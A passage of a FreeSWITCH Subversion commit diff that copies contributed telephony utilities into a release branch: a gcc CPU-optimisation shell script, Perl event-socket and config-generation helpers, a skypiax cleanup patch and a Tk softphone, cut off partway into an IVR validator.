+            var pdf = new File(this.faxFilePrefix + "/" + outfile);
+            if(pdf.exists) {
+                fd.remove(); // remove the tiff file
+                this.faxFile = outfile;
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+
+}

Deleted: freeswitch/branches/seven/contrib/trixter/gcccpuopt

Copied: freeswitch/branches/seven/contrib/trixter/gcccpuopt (from rev 14471, freeswitch/trunk/contrib/trixter/gcccpuopt) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/gcccpuopt	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/gcccpuopt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,257 @@
+#!/bin/sh
+
+# Print the gcc cpu specific options appropriate for the current CPU
+
+# Author:
+#    http://www.pixelbeat.org/
+# Notes:
+#    This script currently supports Linux,FreeBSD
+#    This script is x86 (32 bit) specific
+#    It should work on any gcc >= 2.95 at least
+#    It only returns CPU specific options. You probably also want -03 etc.
+# Changes:
+#    V0.1, 12 Mar 2003, Initial release
+#    V0.2, 01 Jun 2005, Added support for 3.2>=gcc<=4.0
+#    V0.3, 03 Jun 2005, Added support for pentium-m
+#    V0.4, 03 Jun 2005, Fix silly bugs
+#    V0.5, 07 Jun 2005, Clarify/Simplify confusing floating point expr usage
+#                       Print warning when CPU only supported on a newer gcc
+#    V0.6, 15 Dec 2006, Added support for Intel Core and Core 2 processors
+#                       Added support for 4.1>=gcc<=4.3
+#                       Added support for gcc -msse3 option
+#                       Added support for new gcc -march=native option
+#    V0.7, 18 Dec 2006, Changes from Conor McDermottroe
+#                       Added support for FreeBSD
+#                       Remove bash specific constructs
+#                       Better error handling
+#    V0.8, 19 Dec 2006, Give warnings and 32 bit -march on 64 bit platforms.
+#                       Previously it just gave an invalid blank -march.
+#                       Reported and tested by Ewan Oughton.
+#    V0.9, 30 Apr 2007, Give error if compiler not present.
+#                       Warn about rather than default to -march=native option.
+
+if [ "$1" = "--version" ]; then
+    echo "0.9" && exit
+fi
+
+# This table shows when -march options were introduced into _official_ gcc releases.
+# Note there are vendor deviations that complicate this.
+# For e.g. redhat introduced the prescott option in 3.3-13.
+#   gcc-2.95   = i386, i486, i586,pentium, i686,pentiumpro, k6
+#   gcc-3.0   += athlon
+#   gcc-3.1   += pentium-mmx, pentium2, pentium3, pentium4, k6-2, k6-3, athlon-{tbird, 4,xp,mp}
+#   gcc-3.3   += winchip-c6, winchip2, c3
+#   gcc-3.4.0 += k8,opteron,athlon64,athlon-fx, c3-2
+#   gcc-3.4.1 += pentium-m, pentium3m, pentium4m, prescott, nocona
+#   gcc-4.3   += core2
+
+[ -z "$CC" ] && CC=gcc
+
+try_gcc_options() {
+    $CC $* -S -o /dev/null -xc /dev/null >/dev/null 2>&1
+}
+
+if ! try_gcc_options; then
+    echo "Error: Couldn't execute your compiler ($CC)" >&2
+    exit 1
+fi
+
+if try_gcc_options -march=native; then
+    echo "Warning: Your compiler supports the -march=native option which you may prefer" >&2
+fi
+
+if ! try_gcc_options -march=i386; then
+    if ! try_gcc_options -m32 -march=i386; then
+        echo "Error: This script only supports 32 bit x86 architectures" >&2
+        exit 1
+    else
+        echo "Warning: The optimum *32 bit* architecture is reported" >&2
+        m32="-m32 "
+    fi
+fi
+
+try_line() {
+    skip=0
+    for arch in $1; do
+        if try_gcc_options $m32 -march=$arch; then
+            echo $arch
+            return
+        elif [ "$skip" = "0" ] && [ "$arch" != "native" ]; then
+            skip=1
+            echo "Warning: Newer versions of GCC better support your CPU with -march=$arch" >&2
+        fi
+    done
+    return 1
+}
+
+read_cpu_data_linux() {
+    IFS=":"
+    while read name value; do
+        unset IFS
+        name=`echo $name`
+        value=`echo $value`
+        IFS=":"
+        if [ "$name" = "vendor_id" ]; then
+            vendor_id="$value"
+        elif [ "$name" = "cpu family" ]; then
+            cpu_family="$value"
+        elif [ "$name" = "model" ]; then
+            cpu_model="$value"
+        elif [ "$name" = "flags" ]; then
+            flags="$value"
+            break #flags last so break early
+        fi
+    done < /proc/cpuinfo
+    unset IFS
+}
+
+read_cpu_data_freebsd() {
+    local _line
+
+    if [ ! -x /usr/local/bin/cpuid ]; then
+        echo "Please install misc/cpuid and run again"
+        exit 1;
+    fi
+    if [ ! -r /var/run/dmesg.boot ]; then
+        echo "/var/run/dmesg.boot does not exist!"
+        exit 1;
+    fi
+
+    # Get the vendor_id, cpu_family and cpu_model from cpuid
+    IFS="
+"
+    for _line in `/usr/local/bin/cpuid`; do
+        if [ -n "`echo $_line | grep '^Vendor ID: '`" ]; then
+            vendor_id="`echo $_line | cut -d'"' -f2`"
+        fi
+        if [ -n "`echo $_line | grep '^Family: '`" ]; then
+            cpu_family="`echo $_line | sed -e 's/Family: //' -e 's/ .*//'`"
+        fi
+        if [ -n "`echo $_line | grep '^Family: '`" ]; then
+            cpu_model="`echo $_line | sed -e 's/Family:.*Model: //' -e 's/ .*//'`"
+        fi
+    done
+    unset IFS
+
+    # Get the flags from /var/run/dmesg.boot
+    flags="`grep -A2 '^CPU:' /var/run/dmesg.boot | grep '^  Features' | sed -e 's/^.*<//' -e 's/>.*//' -e 's/,/ /g' | tr 'A-Z' 'a-z'`"
+}
+
+read_cpu_data() {
+    # Default values
+    vendor_id="Unset"
+    cpu_family="-1"
+    cpu_model="-1"
+    flags=""
+    if [ "`uname`" = "Linux" ]; then
+        read_cpu_data_linux
+    elif [ "`uname`" = "FreeBSD" ]; then
+        read_cpu_data_freebsd
+    else
+        echo "Error: `uname` is not a supported operating system"
+        exit 1
+    fi
+}
+
+read_cpu_data
+
+if [ "$vendor_id" = "AuthenticAMD" ]; then
+    if [ $cpu_family -eq 4 ]; then
+        _CFLAGS="-march=i486"
+    elif [ $cpu_family -eq 5 ]; then
+        if [ $cpu_model -lt 4 ]; then
+            _CFLAGS="-march=pentium"
+        elif [ \( $cpu_model -eq 6 \) -o \( $cpu_model -eq 7 \) ]; then
+            _CFLAGS="-march=k6"
+        elif [ \( $cpu_model -eq 8 \) -o \( $cpu_model -eq 12 \) ]; then
+            line="k6-2 k6"
+        elif [ \( $cpu_model -eq 9 \) -o \( $cpu_model -eq 13 \) ]; then
+            line="k6-3 k6-2 k6"
+        fi
+    elif [ $cpu_family -eq 6 ]; then
+        if [ $cpu_model -le 3 ]; then
+            line="athlon k6-3 k6-2 k6"
+        elif [ $cpu_model -eq 4 ]; then
+            line="athlon-tbird athlon k6-3 k6-2 k6"
+        elif [ $cpu_model -ge 6 ]; then #athlon-{4,xp,mp}
+            line="athlon-4 athlon k6-3 k6-2 k6"
+        fi
+    elif [ $cpu_family -eq 15 ]; then #k8,opteron,athlon64,athlon-fx
+        line="k8 athlon-4 athlon k6-3 k6-2 k6"
+    fi
+elif [ "$vendor_id" = "CentaurHauls" ]; then
+    if [ $cpu_family -eq 5 ]; then
+        if [ $cpu_model -eq 4 ]; then
+            line="winchip-c6 pentium"
+        elif [ $cpu_model -eq 8 ]; then
+            line="winchip2 winchip-c6 pentium"
+        elif [ $cpu_model -ge 9 ]; then
+            line="winchip2 winchip-c6 pentium" #actually winchip3 but gcc doesn't support this currently
+        fi
+    elif [ $cpu_family -eq 6 ]; then
+        if echo "$flags" | grep -q cmov; then
+            fallback=pentiumpro
+        else
+            fallback=pentium #gcc incorrectly assumes i686 always has cmov
+        fi
+        if [ $cpu_model -eq 6 ]; then
+            _CFLAGS="-march=pentium" # ? Cyrix 3 (samuel)
+        elif [ $cpu_model -eq 7 ] || [ $cpu_model -eq 8 ]; then
+            line="c3 winchip2 winchip-c6 $fallback"
+        elif [ $cpu_model -ge 9 ]; then
+            line="c3-2 c3 winchip2 winchip-c6 $fallback"
+        fi
+    fi
+elif [ "$vendor_id" = "GenuineIntel" ]; then
+    if [ $cpu_family -eq 3 ]; then
+        _CFLAGS="-march=i386"
+    elif [ $cpu_family -eq 4 ]; then
+        _CFLAGS="-march=i486"
+    elif [ $cpu_family -eq 5 ]; then
+        if [ $cpu_model -ne 4 ]; then
+            _CFLAGS="-march=pentium"
+        else
+            line="pentium-mmx pentium" #No overlap with other vendors
+        fi
+    elif [ $cpu_family -eq 6 ]; then
+        if [ \( $cpu_model -eq 0 \) -o \( $cpu_model -eq 1 \) ]; then
+            _CFLAGS="-march=pentiumpro"
+        elif [ \( $cpu_model -ge 3 \) -a \( $cpu_model -le 6 \) ]; then #4=TM5600 at least
+            line="pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        elif [ \( $cpu_model -eq 9 \) -o \( $cpu_model -eq 13 \) ]; then #centrino
+            line="pentium-m pentium4 pentium3 pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        elif [ $cpu_model -eq 14 ]; then #Core
+            line="prescott pentium-m pentium4 pentium3 pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        elif [ $cpu_model -eq 15 ]; then #Core 2
+            line="core2 pentium-m pentium4 pentium3 pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        elif [ \( $cpu_model -ge 7 \) -a \( $cpu_model -le 11 \) ]; then
+            line="pentium3 pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        fi
+    elif [ $cpu_family -eq 15 ]; then
+        if [ $cpu_model -eq 3 ]; then
+            line="prescott pentium4 pentium3 pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        else
+            line="pentium4 pentium3 pentium2 pentiumpro pentium-mmx pentium i486 i386"
+        fi
+    fi
+else
+    echo "Unknown CPU Vendor: $vendor_id"
+    exit 1
+fi
+
+[ -z "$_CFLAGS" ] && _CFLAGS="-march=`try_line "$line"`"
+
+if echo "$flags" | grep -q "sse"; then
+    if try_gcc_options "-mfpmath=sse"; then #gcc >= 3.1
+        _CFLAGS="$_CFLAGS -mfpmath=sse"
+    fi
+fi
+if echo "$flags" | grep -E -q "(sse3|pni)"; then
+    if ! echo "$_CFLAGS" | grep -E -q "(native|core2)"; then
+        if try_gcc_options "-msse3"; then #gcc >= 3.3.3
+            _CFLAGS="$_CFLAGS -msse3"
+        fi
+    fi
+fi
+
+echo "$m32$_CFLAGS"

Deleted: freeswitch/branches/seven/contrib/trixter/jp.pl

Copied: freeswitch/branches/seven/contrib/trixter/jp.pl (from rev 14471, freeswitch/trunk/contrib/trixter/jp.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/jp.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/jp.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+#!/usr/bin/perl
+use FreeSWITCH::Client;
+use Data::Dumper;
+
+my $fs = init FreeSWITCH::Client {} or die "Error $@";
+my $pid;
+
+for (;;) {
+  $fs->accept();
+
+  if (!($pid = fork)) {
+    last;
+  }
+}
+
+my $data = $fs->call_data();
+
+#print Dumper $data
+print "Call: $data->{'caller-channel-name'} $data->{'unique-id'}\n";
+
+
+$o = $fs->call_command("answer");
+#to turn on events when in async mode
+$o = $fs->raw_command("myevents");
+$o = $fs->call_command("playback","/sounds/you-have-reached-a-test-number.wav");
+$o = $fs->call_command("record","/tmp/recording.wav 5 300 5");
+$o = $fs->call_command("playback","/tmp/recording.wav");
+$o = $fs->call_command("echo");
+
+
+#comment exit in async mode
+#exit;
+
+while(my $r = $fs->readhash(undef)) {
+  if ($r->{socketerror}) {
+    last;
+  }
+
+  if ($r->{has_event}) {
+    print Dumper $r->{event};
+  }
+  if ($r->{event}->{'event-name'} !~ /execute/i) {
+    printf "wtf $data->{'unique-id'}\n";
+    $o = $fs->call_command("break");
+    $o = $fs->call_command("hangup");
+  }
+}
+
+$fs->disconnect();
+print "done\n";
+
+

Deleted: freeswitch/branches/seven/contrib/trixter/makecombinedfsxml.pl

Copied: freeswitch/branches/seven/contrib/trixter/makecombinedfsxml.pl (from rev 14471, freeswitch/trunk/contrib/trixter/makecombinedfsxml.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/makecombinedfsxml.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/makecombinedfsxml.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+open (FSXML, "freeswitch.xml") or die "Unable to locate freeswitch.xml - run this in the directory with the conf files";
+
+while ($record = <FSXML>) {
+  if ($record =~ /<!--#include "(.*?)"-->/) {
+      open(CONF, "$1");
+      while (<CONF>) {
+        print $_;
+      }
+      close(CONF);
+  } else {
+    print $record;
+  }
+}
+
+close(FSXML);

Deleted: freeswitch/branches/seven/contrib/trixter/makemodconf.pl

Copied: freeswitch/branches/seven/contrib/trixter/makemodconf.pl (from rev 14471, freeswitch/trunk/contrib/trixter/makemodconf.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/makemodconf.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/makemodconf.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,97 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+# Copyright (C) 2009, Bret McDanel <trixter AT 0xdecafbad.com>
+
+# I wanted an automated method to generate a modules.conf.xml based on the modules.conf
+# that you build the code from.  This is ideal for new builds but not very useful
+# after that.
+
+# to run:
+# ./makemodconf.pl /usr/src/freeswitch/modules.conf > /usr/local/freeswitch/conf/autoload_configs/modules.conf.xml
+
+# this is for modules that are not directly loaded by modules.conf.xml
+my @exclude = (
+               '^mod_spidermonkey_.*$',
+              );
+
+# this is for things that have odd directory locations
+my %sectionfix = (
+                  '../../libs/openzap' => 'endpoints'
+                 );
+
+
+my %modules = ();
+
+sub trim($)
+  {
+    my $string = shift;
+    $string =~ s/^\s+//;
+    $string =~ s/\s+$//;
+    return $string;
+  }
+  
+  sub is_excluded($)
+    {
+      my $modname = shift;
+      foreach my $regexp (@exclude) {
+        if($modname =~ /$regexp/) {
+          return 1;
+        }
+      }
+      return 0;
+    }
+    
+    sub fix_section($)
+      {
+        my $section = shift;
+        if (exists $sectionfix{$section}) {
+          return $sectionfix{$section};
+        } else {
+          return $section;
+        }
+      }
+      
+      
+      if ($#ARGV != 0) {
+        print "Usage: $0 modules.conf\n";
+        exit;
+      }
+      
+      my $infile = shift @ARGV;
+      
+      
+      open( INFILE, "< $infile" ) or die "Can't open $infile $!";
+      
+      while( <INFILE> ) {
+        $_ = trim($_);
+        
+        $_ =~ /^(#?)(.*)\/(.*)$/;
+        
+        my $comment = $1;
+        my $section = fix_section($2);
+        my $modname = $3;
+        
+        
+        if(!is_excluded($modname)){
+          push (@{$modules{$section}},[$modname,$comment]);
+        }
+      }
+
+      print "<configuration name=\"modules.conf\" description=\"Modules\">\n";
+      print "  <modules>\n";
+
+      foreach my $section (sort(keys %modules)) {
+        print "\n\t<!-- $section -->\n";
+        foreach (@{$modules{$section}}) {
+          my $comment = @$_[1];
+          my $modname = @$_[0];
+          if($comment eq "#") {
+            print "\t<!-- <load module=\"$modname\"/> -->\n";
+          } else {
+            print "\t<load module=\"$modname\"/>\n";
+          }
+        }
+      }
+      print "  </modules>\n";
+      print "</configuration>\n";

Deleted: freeswitch/branches/seven/contrib/trixter/regexptest.pl

Copied: freeswitch/branches/seven/contrib/trixter/regexptest.pl (from rev 14471, freeswitch/trunk/contrib/trixter/regexptest.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/regexptest.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/regexptest.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+
+print "Enter the regexp you wish to test: ";
+$regexp = <STDIN>;
+chomp($regexp);
+
+print "Enter the value you wish to test: ";
+$value = <STDIN>;
+chomp($value);
+
+if ($value =~ m/$regexp/) {
+  print "$value matches $regexp\n";
+  $x=1;
+  while (defined $$x) {
+    print "capture $x: $$x\n";
+    $x++;
+  }
+} else {
+  print "$value does not match $regexp\n";
+}
+

Copied: freeswitch/branches/seven/contrib/trixter/skypiax (from rev 14471, freeswitch/trunk/contrib/trixter/skypiax)

Deleted: freeswitch/branches/seven/contrib/trixter/skypiax/README

Copied: freeswitch/branches/seven/contrib/trixter/skypiax/README (from rev 14471, freeswitch/trunk/contrib/trixter/skypiax/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/skypiax/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/skypiax/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+I am putting my patches and such in here so that people cna use them and test them, I did not feel like maintaining my own skypiax at this point, I will see how the patching parts go and if there are any conflicts between my ideas for this and other peoples ideas.
+

Deleted: freeswitch/branches/seven/contrib/trixter/skypiax/mod_skypiax.c.r13219.svndiff

Copied: freeswitch/branches/seven/contrib/trixter/skypiax/mod_skypiax.c.r13219.svndiff (from rev 14471, freeswitch/trunk/contrib/trixter/skypiax/mod_skypiax.c.r13219.svndiff) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/skypiax/mod_skypiax.c.r13219.svndiff	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/skypiax/mod_skypiax.c.r13219.svndiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,144 @@
+Index: src/mod/endpoints/mod_skypiax/mod_skypiax.c
+===================================================================
+--- src/mod/endpoints/mod_skypiax/mod_skypiax.c	(revision 13219)
++++ src/mod/endpoints/mod_skypiax/mod_skypiax.c	(working copy)
+@@ -27,9 +27,9 @@
+  *
+  *
+  * Further Contributors:
++ * Bret McDanel <trixter AT 0xdecafbad.com>
+  *
+  *
+- *
+  * mod_skypiax.c -- Skype compatible Endpoint Module
+  *
+  */
+@@ -338,13 +338,9 @@
+                                           switch_frame_t ** frame, switch_io_flag_t flags,
+                                           int stream_id)
+ {
+-  switch_channel_t *channel = NULL;
+   private_t *tech_pvt = NULL;
+   switch_byte_t *data;
+ 
+-  channel = switch_core_session_get_channel(session);
+-  switch_assert(channel != NULL);
+-
+   tech_pvt = switch_core_session_get_private(session);
+   switch_assert(tech_pvt != NULL);
+   tech_pvt->read_frame.flags = SFF_NONE;
+@@ -408,13 +404,9 @@
+                                            switch_frame_t * frame, switch_io_flag_t flags,
+                                            int stream_id)
+ {
+-  switch_channel_t *channel = NULL;
+   private_t *tech_pvt = NULL;
+   unsigned int sent;
+ 
+-  channel = switch_core_session_get_channel(session);
+-  switch_assert(channel != NULL);
+-
+   tech_pvt = switch_core_session_get_private(session);
+   switch_assert(tech_pvt != NULL);
+ 
+@@ -444,11 +436,7 @@
+ static switch_status_t channel_answer_channel(switch_core_session_t * session)
+ {
+   private_t *tech_pvt;
+-  switch_channel_t *channel = NULL;
+ 
+-  channel = switch_core_session_get_channel(session);
+-  switch_assert(channel != NULL);
+-
+   tech_pvt = switch_core_session_get_private(session);
+   switch_assert(tech_pvt != NULL);
+ 
+@@ -460,12 +448,8 @@
+ static switch_status_t channel_receive_message(switch_core_session_t * session,
+                                                switch_core_session_message_t * msg)
+ {
+-  switch_channel_t *channel;
+   private_t *tech_pvt;
+ 
+-  channel = switch_core_session_get_channel(session);
+-  switch_assert(channel != NULL);
+-
+   tech_pvt = (private_t *) switch_core_session_get_private(session);
+   switch_assert(tech_pvt != NULL);
+ 
+@@ -655,14 +639,11 @@
+ {
+   private_t *tech_pvt = obj;
+   int res;
+-  int forever = 1;
+ 
+   DEBUGA_SKYPE("In skypiax_signaling_thread_func: started, p=%p\n", SKYPIAX_P_LOG,
+                (void *) tech_pvt);
+ 
+-  while (forever) {
+-    if (!running)
+-      break;
++  while (running) {
+     res = skypiax_signaling_read(tech_pvt);
+     if (res == CALLFLOW_INCOMING_HANGUP) {
+       switch_core_session_t *session = NULL;
+@@ -912,7 +893,6 @@
+         switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].dialplan, dialplan);
+         switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].destination,
+                           destination);
+-        switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].context, context);
+ 
+         DEBUGA_SKYPE
+           ("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].X11_display=%s\n",
+@@ -944,9 +924,6 @@
+           ("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].destination=%s\n",
+            SKYPIAX_P_LOG, interface_id,
+            globals.SKYPIAX_INTERFACES[interface_id].destination);
+-        DEBUGA_SKYPE
+-          ("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].context=%s\n",
+-           SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].context);
+         WARNINGA("STARTING interface_id=%d\n", SKYPIAX_P_LOG, interface_id);
+ 
+         switch_threadattr_create(&skypiax_api_thread_attr, skypiax_module_pool);
+@@ -1036,8 +1013,6 @@
+                      i, i, globals.SKYPIAX_INTERFACES[i].dialplan);
+         DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].destination=%s\n",
+                      SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].destination);
+-        DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].context=%s\n", SKYPIAX_P_LOG, i,
+-                     i, globals.SKYPIAX_INTERFACES[i].context);
+       }
+     }
+   }
+@@ -1348,10 +1323,9 @@
+ private_t *find_available_skypiax_interface(void)
+ {
+   private_t *tech_pvt = NULL;
+-  int found = 0;
+   int i;
+ 
+-  for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
++  for (i = 0; i < SKYPIAX_MAX_INTERFACES; i++) {
+     if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+       int skype_state = 0;
+ 
+@@ -1359,17 +1333,13 @@
+       skype_state = tech_pvt->interface_state;
+       DEBUGA_SKYPE("skype interface: %d, name: %s, state: %d\n", SKYPIAX_P_LOG, i,
+                    globals.SKYPIAX_INTERFACES[i].name, skype_state);
+-      if (SKYPIAX_STATE_DOWN == skype_state || 0 == skype_state) {
+-        found = 1;
+-        break;
++      if (SKYPIAX_STATE_DOWN == skype_state || 0 == skype_state) { 
++		  return tech_pvt;
+       }
+     }
+   }
+ 
+-  if (found)
+-    return tech_pvt;
+-  else
+-    return NULL;
++  return NULL;
+ }
+ 
+ SWITCH_STANDARD_API(sk_function)

Deleted: freeswitch/branches/seven/contrib/trixter/softphone.pl

Copied: freeswitch/branches/seven/contrib/trixter/softphone.pl (from rev 14471, freeswitch/trunk/contrib/trixter/softphone.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/softphone.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/softphone.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,179 @@
+#!/usr/bin/perl
+# -*- mode:cperl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+# 
+# FreeSWITCH Softphone
+# Copyright (C) 2007, Bret McDanel <trixter AT 0xdecafbad.com>
+#
+# Version: MPL 1.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is FreeSWITCH Softphone
+#
+# The Initial Developer of the Original Code is
+# Bret McDanel <trixter AT 0xdecafbad.com>
+# Portions created by the Initial Developer are Copyright (C)
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s):
+# 
+# Bret McDanel <trixter AT 0xdecafbad.com>
+#
+# softphone.pl -- FreeSWITCH softphone in perl
+#
+#
+
+#####
+##
+## This is the start of a GUI for FreeSWITCH[tm] using port audio as the channel endpoint.
+## Right now there are a few things that do not work right:
+##   * events are not properly read
+##   * if remote party hangs up the client doesnt realize it
+##   * registration status is not displayed
+##   * no redial ability
+##   * no transfer, hold, etc
+##   * incoming calls cannot be detected, or answered
+##
+## It works for a single channel, and you can type anything into the dial window, if that matches some regexp
+## in your dialplan the call will proceed.
+##
+#####
+
+use FreeSWITCH::Client;
+use Data::Dumper; # used to print out myhash debug info
+use Tk;
+use strict;
+
+
+# configure these
+my $password = "ClueCon";                    # the password for event socket
+my $host     = "localhost";                  # the hostname to connect to
+my $port     = 8021;                         # the port to connect to
+
+
+# random variables that we are going to use
+my $window;
+my $phonenumber;
+my $callInProgress=0;
+my $fs;
+my $errorString = undef;
+
+
+makeWindow();
+MainLoop;
+$fs->sendmsg({'command' => "api pa hangup"}) unless !defined($fs);
+print "We should hang up the calls, and any other cleanup here\n";
+
+
+
+sub getEvent() {
+  if(defined $fs) {
+    my $reply = $fs->readhash(0);
+    if ($reply->{socketerror}) {
+      $errorString = "Got error: ".$reply->{socketerror};
+      es_connect();
+    }
+    
+    if ($reply->{body}) {
+      my $myhash = $reply->{event};
+      print Dumper $myhash;
+    } 
+  } else {
+    $errorString = "Connecting";
+    es_connect();
+  }
+}
+
+
+# this connects to the event socket
+sub es_connect()
+{
+    $errorString = "Connecting to $host:$port";
+    eval {
+      $fs = init FreeSWITCH::Client {-password => $password, -host => $host, -port => $port};
+      if(defined $fs) {
+        $fs->sendmsg({'command' => 'event plain myevents'});
+      }
+    } or do {
+      $errorString = "Error connecting - waiting for retry";
+      sleep 5;
+    }
+    
+}
+
+
+sub makeWindow {
+    $window = MainWindow->new();
+    $window->title("FreeSWITCH[tm] GUI");
+    my $mainframe = $window->Frame()->pack(qw/-side top -padx 10 -expand true -fill both/);
+    
+    $mainframe->Entry(-textvariable => \$phonenumber)->pack(qw/-side top/);
+    my $dialpadframe = $mainframe->Frame()->pack(qw/-anchor s -pady 3/);
+    my $dialpadcol1 = $dialpadframe->Frame()->pack(qw/-side left -pady 3/);
+    my $dialpadcol2 = $dialpadframe->Frame()->pack(qw/-side left -pady 3/);
+    my $dialpadcol3 = $dialpadframe->Frame()->pack(qw/-side left -pady 3/);
+    my $errorMsgs = $mainframe->Label(-textvariable => \$errorString)->pack(qw/-side bottom/);
+    my $buttonframe = $mainframe->Frame()->pack(qw/-side bottom/);
+
+    # I really dont like this method, but I dont know Tk that well
+    # basically we have a timer that will call getEvent() 1ms after its finished running
+    # to see about getting more events - threads dont work because you cant share the FreeSWITCH::Client class
+    # forking doesnt work because $fs is always undefined from the GUI side
+    # or maybe you can, I dont know perl all that well either.
+    my $timerid = $window->repeat(100,\&getEvent);
+    
+# set up the keys
+    my $phonebutton1     = $dialpadcol1->Button(-text => '1', -command => sub{sendDTMF("1")})->pack(qw/-side top/);
+    my $phonebutton2     = $dialpadcol2->Button(-text => '2', -command => sub{sendDTMF("2")})->pack(qw/-side top/);
+    my $phonebutton3     = $dialpadcol3->Button(-text => '3', -command => sub{sendDTMF("3")})->pack(qw/-side top/);
+    my $phonebutton4     = $dialpadcol1->Button(-text => '4', -command => sub{sendDTMF("4")})->pack(qw/-side top/);
+    my $phonebutton5     = $dialpadcol2->Button(-text => '5', -command => sub{sendDTMF("5")})->pack(qw/-side top/);
+    my $phonebutton6     = $dialpadcol3->Button(-text => '6', -command => sub{sendDTMF("6")})->pack(qw/-side top/);
+    my $phonebutton7     = $dialpadcol1->Button(-text => '7', -command => sub{sendDTMF("7")})->pack(qw/-side top/);
+    my $phonebutton8     = $dialpadcol2->Button(-text => '8', -command => sub{sendDTMF("8")})->pack(qw/-side top/);
+    my $phonebutton9     = $dialpadcol3->Button(-text => '9', -command => sub{sendDTMF("9")})->pack(qw/-side top/);
+    my $phonebuttonstar  = $dialpadcol1->Button(-text => '*', -command => sub{sendDTMF("*")})->pack(qw/-side top/);
+    my $phonebutton0     = $dialpadcol2->Button(-text => '0', -command => sub{sendDTMF("0")})->pack(qw/-side top/);
+    my $phonebuttonpound = $dialpadcol3->Button(-text => '#', -command => sub{sendDTMF("#")})->pack(qw/-side top/);
+    
+    
+    my $dialbutton = $buttonframe->Button(-text => 'Dial/Answer', -command => \&dialAnswer)->pack(qw/-side left/);
+    my $hangupbutton = $buttonframe->Button(-text => 'Hangup', -command => \&hangup)->pack(qw/-side right/);
+}    
+
+sub dialAnswer {
+    $callInProgress=1;
+    if(defined($fs)) {
+      $fs->sendmsg({'command' => "api pa call $phonenumber"});
+    } else {
+      $errorString = "Not connected!!!";
+    }
+}
+
+sub hangup {
+    $callInProgress=0;
+    $errorString = "hangup";
+    $phonenumber = "";
+    $fs->sendmsg({'command' => "api pa hangup"}) unless !defined($fs);
+}
+
+sub sendDTMF{
+    my $dtmf=shift;
+    if($callInProgress==1) {
+	if(defined($fs)) {
+	    $fs->sendmsg({'command' => "api pa dtmf $dtmf"}) unless !defined($dtmf);
+	} else {
+	    $errorString = "Not connected!";
+	}
+    } else {
+	$phonenumber .= $dtmf unless !defined($dtmf);
+    }
+}

Deleted: freeswitch/branches/seven/contrib/trixter/validate-ivr.pl

Copied: freeswitch/branches/seven/contrib/trixter/validate-ivr.pl (from rev 14471, freeswitch/trunk/contrib/trixter/validate-ivr.pl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/validate-ivr.pl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/validate-ivr.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,140 @@
+#!/usr/bin/perl
+# -*- mode:perl; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+
+use XML::LibXML;
+use POSIX ':signal_h';
+
+
+# initialize the parser
+# my $parser = new XML::LibXML;
+
+
+my $file = shift @ARGV;
